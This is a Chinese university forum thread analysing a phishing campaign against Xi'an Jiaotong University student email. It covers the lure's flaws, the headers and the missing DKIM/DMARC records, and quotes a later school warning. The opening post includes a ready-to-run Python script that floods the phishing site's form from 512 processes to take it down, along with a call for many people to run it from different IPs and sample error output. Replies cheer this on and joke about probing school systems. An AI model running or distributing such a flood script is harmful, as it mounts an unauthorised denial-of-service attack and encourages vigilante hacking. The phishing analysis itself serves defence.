\n $\"anonymous_coward_old\"$ \n anonymous_coward_old — #1 in 🫒 coremail.club 的倡议\n

鉴于有无耻下流的攻击者 coremail.club 窃取我校师生邮箱系统的用户名和密码，我写了个脚本，用来瘫痪 coremail.club 的服务器。要想效果好，需要很多人用不同的 IP 运行，对于黑客没有什么道义可讲的，让我们来给攻击者一点小小的胶带震撼 😈。

~~等有空了我来再写篇 coremail.club 邮件事件之分析。~~
\n这次我很快就把坑填上了：

\n $\"anonymous_coward_old\"$ \n anonymous_coward_old — #1 in stu.xjtu.edu.cn CoreMail 邮箱钓鱼事件详尽分析\n

钓鱼行为分析

其实分析钓鱼邮件，有很多逻辑漏洞：

\n
标题：《关于停用学生邮箱的通知》
\n

学生 STU 邮箱自古已有，怎么可能停用，哪怕要停用，按照学校网信中心的惯例，也不会发邮件通知你的，顶多在 NIC 主页上发一则消息。

\n
本通知发出后，未及时更新的学生帐号，1 周后（7 月 2 日）
\n账号将设置为“暂停”，即只能接收邮件，不能登录和发送邮件。
\n

攻击者的逻辑都不能自洽：只能接收却不能登录和发送，然而不登录怎么能接收？

\n
为了加强电子邮件安全管理，规范电子邮箱使用，保障师生权益，根据相关规定，未更新的学生账号 (@stu.xjtu.edu.cn）将被停用。
\n

进入钓鱼网站后：

第一步，只让你输入邮箱地址（并且核验这个邮箱地址是不是邮件里的链接）不用输入密码以免你起疑心
第二步，说你有违规行为，所以要给你进行邮箱相关法律法规宣教；
第三步，问你是否仔细阅读并同意“电子邮箱使用规定”，如果是，请输入旧密码、设定新密码，以进行解封操作，此时网站后台连接 https://stu.xjtu.edu.cn 即真实的邮箱服务器，验证密码是否正确，如果是才给用户返回“成功”的讯息。这次这个攻击者啥都没做，就输入了个不知道可对的用户名密码就返回“更新成功”，着实是“更新了个寂寞”。

我认为这样才基本上算是一个合格的钓鱼攻击流程，这次的攻击者着实有点 too young too simple 了。

邮件的技术性分析

这被称为 Email Spoofed Phishing Attacks。

以下将逐行分析邮件的原始内容（eml 文件源码），可能会有点乱（尤其是手机 UI），但暂时没有更好的办法：

发件人的信息及 SMTP 收件软件信息

Received: from youardomain.com (unknown [122.239.134.75(浙江省温州市电信)])

Sun, 25 Jun 2023 <已省略收件的时间> +0800 (CST)

Message-ID: < 已省略了长度为 32 的像是 MD5 的字符串 @youardomain.com>
\nFrom: admin admin@stu.xjtu.edu.cn 此字段上文中已详细分析

这一段字符串解码后即是邮件主题“关于停用学生邮箱的通知”

最后面是一堆东西 base64 编码的内容，包括一段纯文本和一个 html：

@stu.xjtu.edu.cn

附上門友提供的该次钓鱼邮件事件的截图

$\"钓鱼邮件\"$

$\"网页截图\"$

个人见解

stu.xjtu.edu.cn 这种不太靠谱的邮件服务不要用于重要的事情。

建议你交买个 Gmail 企业版，或者 MS outlook 企业版，邮件服务这东西还是大公司最可靠，而且比你买 CoreMail 软件自己搭建运维要省事。

这次事件充分暴露了你交 IT 系统有多烂，之前也有其他門友分享过：

https://xjtu.app/t/topic/117

这次只是一个很平庸的攻击，后面来个大的也未尝不可。

DNS 污染本站的动作倒挺快，~~然而这次事件之后这么长时间了 stu 邮箱并没收到任何预警/解释的邮件。~~

更新 1：

后面 stu 邮箱确实是收到了一封标题为“关于加强防范钓鱼邮件的通知”的邮件。

但没啥信息量，而且内容也有槽点，例如

\n
看清邮件发送方的域名地址 我校官方电子邮件均以**admin@xjtu.edu.cn**发出，如对方邮箱帐号与上述不一致，或非学校官方邮箱，则需保持警惕
\n

然而，此封邮件本身是由admin@stu.xjtu.edu.cn发出的，的确与上述不一致 😅，这是否说明此封邮件也是非官方发出的？？

\n
请问不能登录怎么接收邮件啊
\n

\n
你好，请问尝试登录邮箱显示登录已超次数该怎么办呢？
\n

更新 2：攻击得逞的原因——邮件安全扩展 DKIM、DMARC、SPF

早期互联网的设计没有考虑一丁点安全性，比如 DNS, HTTP，流量都是明文，隐私都在裸奔。邮件协议也不例外。

邮件安全扩展 DKIM、DMARC、SPF 就是为了克服这一安全方面上的缺憾而设计的。关于这些，洋文好的同学可以看下面的这个链接，深入浅出，非常详细：

https://dmarcly.com/blog/how-to-implement-dmarc-dkim-spf-to-stop-email-spoofing-phishing-the-definitive-guide

$ dig stu.xjtu.edu.cn txt +short\nv=spf1 ip4:162.105.129.0(北京市北京大学教育网)/24 ip4:202.117.1.51(陕西省西安市西安交通大学教育网) ip4:202.117.1.52(陕西省西安市西安交通大学教育网) include:spf.icoremail.net ~all\n\n$ dig xjtu.edu.cn txt +short\nv=spf1 ip4:162.105.129.0(北京市北京大学教育网)/24 ip4:202.117.1.0(陕西省西安市西安交通大学教育网)/24 ip4:117.32.155.53(陕西省西安市电信) ip6:2001:250:1001:1::1/64 include:spf.icoremail.net ~all\n

DMARC 用于设置 DKIM 验证失败或者 Sender:/From:不统一时，收件邮件服务器应当怎么处理。有几种 policy：

reject 表示退信，从而该邮件不会出现在收件人的邮箱中。
quarantine 表示防疫隔离，把该邮件分类到spam文件夹里，提醒收件人注意该邮件是有问题的。
none 表示不管，从而该邮件就像正常邮件一样出现收件人的邮箱

DNS 检索结果显示 stu 邮箱应该是没有设置 DKIM 和 DMARC！

下面看看这个交大門网站的邮件安全性如何呢？
\n交大門是通过 MailGun 实现邮件服务的。

$ dig xjtu.app txt +short                    \n\"v=spf1 -all\"\n\n$ dig mg.xjtu.app txt +short                   \n\"v=spf1 include:mailgun.org ~all\"\n\n$ dig krs._domainkey.mg.xjtu.app txt +short\n\"k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5Wqp0OsFNjfZ+03zwfKnN2Wx0A24AiKVH+ypYqWseBq16WxKpyQ5ZdJWqnNd96RCugXwjW4S+ylgB2u0U6QNZvCvwoJZMdc2uzEeVv5o7dH7sh2qlH0D+u0MMoM4LYtO+TFdnaM7mI83m1vYp0Ns4LECbxTvFWTMYDP8UgMNUqQIDAQAB\"\n\n$ dig _dmarc.xjtu.app txt +short\n\"v=DMARC1; p=reject; sp=reject; adkim=s; aspf=s; rua=mailto:c8d07a9ce26e4cfcb1d42ba73f9e17cd@dmarc-reports.cloudflare.net\"\n\n

然而 SPF 和 DKIM 的配置都正确，（不然其他邮件服务的用户也注册不了啊），为什么会被丢掉呢？

原因是起初给用户发邮件用的是 noreply@xjtu.app这个地址，而 mailgun 里配置使用的是mg.xjtu.app 这个子域名，由 Gmail 显示的原始邮件内容中可见：

Sender: noreply=xjtu.app@mg.xjtu.app\nFrom: \"xjtu.app 交大門\" <noreply@xjtu.app>\n

由于是 mg.xjtu.app 代 xjtu.app 发信，从而 Sender 和 From 两个字段不统一，所以被 Gmail 退信。
\n在这里特地表扬 Google Gmail 和 MS Outlook 在安全方面的谨慎。

另请参阅：

https://xjtu.app/t/topic/1459

$\"钓鱼邮件\"$

$\"网页截图\"$

这个脚本开了 512 个进程向 coremail.club 的“更新”表单发随机生成的用户名和密码。即使不能让攻击者的服务器瘫痪，也可以让它变慢。

import multiprocessing as mp\nimport random\nimport secrets\nfrom time import sleep\nimport requests\n\nNUM_CONCURRENT_JOBS = 512\n\ndef post():\n  while True:\n    name = secrets.token_urlsafe(random.randrange(4, 14))\n    password = secrets.token_urlsafe(random.randrange(6, 18))\n    try:\n      if (rand := random.random()) < 0.7:\n        prefix = 'stu.'\n      elif rand < 0.85:\n        prefix = ''\n      else:\n        prefix = 'mail.'\n      ret = requests.post(\"https://coremail.club/post.php\", data={'mail': f'{name}@{prefix}xjtu.edu.cn', 'pass': password})\n      print(ret.status_code)\n      print(ret.text)\n      sleep(random.randrange(1, 3))\n    except Exception:\n      pass\n\n\nprocs = []\nfor i in range(NUM_CONCURRENT_JOBS):\n  p = mp.Process(target=post)\n  p.start()\n  procs.append(p)\nfor p in procs:\n  p.join()\n\n

运行后会输出一大堆服务器返回的错误信息

......\n200\n{\"code\":0,\"msg\":\"您今天已经超过可登录次数，请明天再试！\"}\n502\n<html>\n<head><title>502 Bad Gateway</title></head>\n<body>\n<center><h1>502 Bad Gateway</h1></center>\n<hr><center>nginx</center>\n</body>\n</html>\n......\n

","createdAt":"2023-06-25 12:24:48.263183","updatedAt":"2024-01-12 03:08:48.089465","replyToPostNumber":null,"replyCount":0,"likeCount":7,"wordCount":3915,"liked":false,"bookmarked":false,"polls":[],"reactions":[{"reaction":"👏️","count":1,"users":[{"id":76,"username":"Esther","name":"Esther"}],"hasReacted":false},{"reaction":"👍️","count":3,"users":[{"id":298,"username":"ErinX","name":null},{"id":307,"username":"Fast","name":null},{"id":1835,"username":"Dusk","name":"夕大画家"}],"hasReacted":false},{"reaction":"❤️","count":7,"users":[{"id":20,"username":"QuantumAssHitter","name":"量子打屁手"},{"id":31,"username":"TsuinoSora","name":null},{"id":103,"username":"MiaoHN","name":null},{"id":172,"username":"HCCH","name":"HCCH"},{"id":176,"username":"TouhouSumi","name":"东方澄"},{"id":259,"username":"ReturnDream","name":"保密"},{"id":445,"username":"null","name":"芜茗芪"}],"hasReacted":false}],"wiki":false,"version":15,"publicVersion":15,"deletedAt":null,"isAnonymous":false,"user":{"id":1047,"username":"anonymous_coward_old","name":"Anonymous Coward Old","avatarUrl":"/uploads/image/43/32/4332638c11248b8ff07033c11de0759a55205facfbec85e14458245a91991faf.avif","admin":false,"moderator":false,"signatureRaw":null,"signatureCooked":null}},{"id":3462,"postNumber":4,"raw":"这事干的确实酷 www","cooked":"

这事干的确实酷 www

\n","createdAt":"2023-06-25 18:15:20.863673","updatedAt":"2023-06-25 18:15:20.863673","replyToPostNumber":null,"replyCount":1,"likeCount":0,"wordCount":8,"liked":false,"bookmarked":false,"polls":[],"reactions":[],"wiki":false,"version":1,"publicVersion":1,"deletedAt":null,"isAnonymous":false,"user":{"id":299,"username":"sola","name":null,"avatarUrl":null,"admin":false,"moderator":false,"signatureRaw":null,"signatureCooked":null}},{"id":3548,"postNumber":5,"raw":"你是说这次事件的攻击者吗？学校 IT 系统应该还有很多东西值得我们去探索呢 :grinning_face_with_sweat:。看谁能成为下一个周鸿祎学长。","cooked":"

你是说这次事件的攻击者吗？学校 IT 系统应该还有很多东西值得我们去探索呢 😅。看谁能成为下一个周鸿祎学长。

\n","createdAt":"2023-06-27 13:27:25.727956","updatedAt":"2024-03-17 13:04:44.605831","replyToPostNumber":4,"replyCount":0,"likeCount":1,"wordCount":49,"liked":false,"bookmarked":false,"polls":[],"reactions":[{"reaction":"❤️","count":1,"users":[{"id":5905,"username":"PipaQinse233","name":"PipaQinse233"}],"hasReacted":false}],"wiki":false,"version":1,"publicVersion":1,"deletedAt":null,"isAnonymous":false,"user":{"id":1047,"username":"anonymous_coward_old","name":"Anonymous Coward Old","avatarUrl":"/uploads/image/43/32/4332638c11248b8ff07033c11de0759a55205facfbec85e14458245a91991faf.avif","admin":false,"moderator":false,"signatureRaw":null,"signatureCooked":null}},{"id":9218,"postNumber":6,"raw":"全体师生：\r\n\r\n暑假期间我校用户邮箱收到钓鱼邮件，冒充学校财务处以“个人薪资调整”诱导用户访问恶意链接，填写个人账号及密码，达到窃取信息的目的。请广大师生保持警惕。\r\n\r\n![](/uploads/image/ca/6c/ca6c4c41522cd7ae788bedff5cc3bcfd42b7e9d068386de5391c1fef0e8a4c87.avif)\n\r\n 如遇此类邮件，可直接删除；\r\n 如发现密码有泄露风险，请及时修改。\r\n\r\n网络安全，人人有责，感谢您的支持与配合！\r\n\r\n网络信息中心\r\n\r\n2023.8.6\r\n\r\n \r\n\r\n附：《安全小贴士》如何防范钓鱼邮件\r\n1.看清邮件发送方的域名地址\r\n\r\n我校官方电子邮件均以 admin@xjtu.edu.cn 发出，如对方邮箱帐号与上述不一致，或非学校官方邮箱，则需保持警惕；\r\n\r\n2.看清邮件内容\r\n\r\n钓鱼邮件多以如下几种形式出现：\r\n\r\n（1）采用精准情景诈骗，关键字涉及“薪资调整”、“系统通知”、“奖学金申请”、“项目申报”等内容，诱导用户访问钓鱼网站，填写敏感信息；\r\n\r\n（2）冒充领导、辅导员身份，索要个人或他人敏感信息；\r\n\r\n3.避免邮箱密码泄露\r\n\r\n（1）提高密码强度。不使用用户名、姓名、生日、手机号等容易猜测的密码，尽可能使用字母、数字、符号的组合来提高密码复杂度；\r\n\r\n（2）保证密码独立性。不同设备、系统、账户尽量不重复使用密码；\r\n\r\n（3）定期修改密码也是避免密码泄露的一个重要措施。","cooked":"

全体师生：

暑假期间我校用户邮箱收到钓鱼邮件，冒充学校财务处以“个人薪资调整”诱导用户访问恶意链接，填写个人账号及密码，达到窃取信息的目的。请广大师生保持警惕。

$\"\"$

如遇此类邮件，可直接删除；\n如发现密码有泄露风险，请及时修改。\n

网络安全，人人有责，感谢您的支持与配合！

网络信息中心

2023.8.6

附：《安全小贴士》如何防范钓鱼邮件
\n1.看清邮件发送方的域名地址

我校官方电子邮件均以 admin@xjtu.edu.cn 发出，如对方邮箱帐号与上述不一致，或非学校官方邮箱，则需保持警惕；

2.看清邮件内容

钓鱼邮件多以如下几种形式出现：

（1）采用精准情景诈骗，关键字涉及“薪资调整”、“系统通知”、“奖学金申请”、“项目申报”等内容，诱导用户访问钓鱼网站，填写敏感信息；

（2）冒充领导、辅导员身份，索要个人或他人敏感信息；

3.避免邮箱密码泄露

（1）提高密码强度。不使用用户名、姓名、生日、手机号等容易猜测的密码，尽可能使用字母、数字、符号的组合来提高密码复杂度；

（2）保证密码独立性。不同设备、系统、账户尽量不重复使用密码；

（3）定期修改密码也是避免密码泄露的一个重要措施。

\n","createdAt":"2023-08-14 11:08:08.034755","updatedAt":"2023-08-14 11:13:15.271238","replyToPostNumber":null,"replyCount":0,"likeCount":0,"wordCount":434,"liked":false,"bookmarked":false,"polls":[],"reactions":[],"wiki":false,"version":2,"publicVersion":2,"deletedAt":null,"isAnonymous":false,"user":{"id":1047,"username":"anonymous_coward_old","name":"Anonymous Coward Old","avatarUrl":"/uploads/image/43/32/4332638c11248b8ff07033c11de0759a55205facfbec85e14458245a91991faf.avif","admin":false,"moderator":false,"signatureRaw":null,"signatureCooked":null}}],"hasMore":false,"lastReadPostNumber":1,"hasUrlPostNumber":false}